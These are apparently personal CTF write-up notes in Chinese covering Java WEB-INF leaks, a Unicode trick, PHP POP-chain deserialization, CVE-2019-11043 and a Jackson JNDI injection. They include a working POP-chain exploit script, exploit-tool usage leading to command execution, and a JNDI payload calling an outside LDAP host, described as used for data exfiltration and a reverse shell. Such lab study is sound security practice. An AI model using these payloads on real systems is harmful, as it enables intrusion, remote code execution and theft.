javaweb
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,获得class文件,在通过反编译class文件,得到网站源码
[ASIS 2019]Unicorn shop
看wp说是utf-8安全问题,文章
囊括一下就是,UTF-8编码集外无法处理为ASCII会转换为Unicode
钓鱼那会比如apple.com
欺骗为аррӏе.com
id=4
在这个网站找到一个转换后unicode比较大的字符,我找到的是这个
https://unicode-table.com/cn/10155/
%F0%90%85%95 𐅕
[RoarCTF 2019]Easy Java
java web源码泄露
点击help后跳转一个链接,这是一个IO异常
看url是一个下载,没有思路了,wp说改POST,下载到了help.docx
有前面的知识铺垫,我们获取web.xml
下载到FlagController.class
[MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
flag在flag.php内,看一下有没有file()或者file_get_contents(),没有,但是有include(),这里看到Modifier类,那么直接设置变量var
$var=php://filter/read=convert.base64-encode/resource=flag.php
__invoke方法,函数形式调用对象会触发
继续往下看
show类,__construct方法设置file变量的值,有__toString方法
返回str->source
__wake方法不能有被匹配到
Test类,__get方法,获取不存在的属性或受限的属性,同时返回一个函数
思路就有了:让include包含flag,invoke去调用include函数,也就是让__get方法处理Modifier的对象 $s->str=
$t,即p指向Modifier对象 $t->p=$m
让source等于对象 $ss->source=$s,触发__toString方法,输出内容
<?php
class Modifier
{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$m = new Modifier();
$t = new Test();
$s = new Show();
$ss = new Show();
$t->p = $m;
$s->str = $t;
$ss->source = $s;
echo urlencode(serialize($ss));
CVE-2019-11043
安装go环境,https://golang.google.cn/dl/
tar -xzf go.tar.gz -c /usr/local
配置go环境变量
export PATH=$PATH:/usr/local/go/bin
使之生效 source /etc/profile
检查go环境:go version
安装漏洞检测工具
git clone https://github.com/neex/phuip-fpizdam
cd /phuip-fpizdam
go install phuip-fpizdam//可能因为网络原因下载不成功
设置一下go的代理
go env -w GOPROXY=https://goproxy.cn
go install phuip-fpizdam
报一些环境问题的可以再试试
export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOBIN
使用:
./phuip-fpizdam url/index.php
利用可能不成功,多试一试上面的语句,成功如图
最后在 …/index.php?a=ls 同样,多执行几次
[红明谷CTF 2021]JavaWeb
/login,post账号密码,发现rememberme,shiro典型特征,fuzz一下默认key,无果
vulhub刷过shiro的权限绕过,/;/json
==>/json
进一步,查阅发现,springboot对浏览器的请求返回html的报错信息如上图,除此之外返回json格式报错,报错信息更加详细,而识别浏览器与否是根据请求包的Accept识别的,删除该字段或者修改值为 *\*
;还可以删除User-Agent字段(随便改改发现的)
没有请求体
json接口
json反序列化
[
"ch.qos.logback.core.db.JNDIConnectionSource",{
"jndiLocation":"ldap://xxx:1389/Exp"
}
]
一开始是curl外带的,但是发现有乱码,后续弹shell后发现目标文件是对的,那应该就是编码问题
随后干脆弹shell